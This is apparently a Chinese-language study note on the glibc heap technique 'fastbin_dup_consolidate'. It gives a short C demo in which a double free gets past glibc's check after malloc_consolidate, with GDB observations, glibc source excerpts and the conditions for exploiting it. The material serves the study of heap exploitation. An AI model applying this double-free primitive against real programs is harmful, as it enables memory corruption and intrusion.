演示代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
- 使用GDB调试一下,首先分配两个大小在 fastbins 内的chunk,这里是 0x40 。此时各个 chunk 的信息如下:
- 然后释放其中一个 chunk ,此时 fastbins 中就存放着这块 chunk。
- 然后申请一块大小在 largebin 范围内的 chunk,此时发现之前在 fastbins 中的 chunk 被放到了 smallbins 中,并且 size 字段也扩大了 0x10。
- 此时 fastbins 中空了,我们可以再一次释放它,就会发现在 fastbins 中又出现了它,而且 smallbins 中存在的并不会消失。
- 那么接下来两次分配大小为 0x40 即可得到两块地址相同的 chunk ,分别来自 fastbins 和 smallbins 。
原理
-
相关 glibc 的代码
... else { idx = largebin_index (nb); if (have_fastchunks (av)) malloc_consolidate (av); } ...
-
系统根据用户申请的大小找到 largebins 中的位置,然后检查 fastbins 中是否有 chunk,有的话就会发生 malloc_consolidate,将其放置 smallbins ,并重新设置头部信息。
... if (!in_smallbin_range (size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } ....
总结&思考
-
从以上演示中,给我最直观的感觉就是可以实现 类型混淆。
-
利用的条件:
1.能够释放多次同一个指针 2.能够分配任意大小
-
额外条件:
1.可以向堆中写入数据
.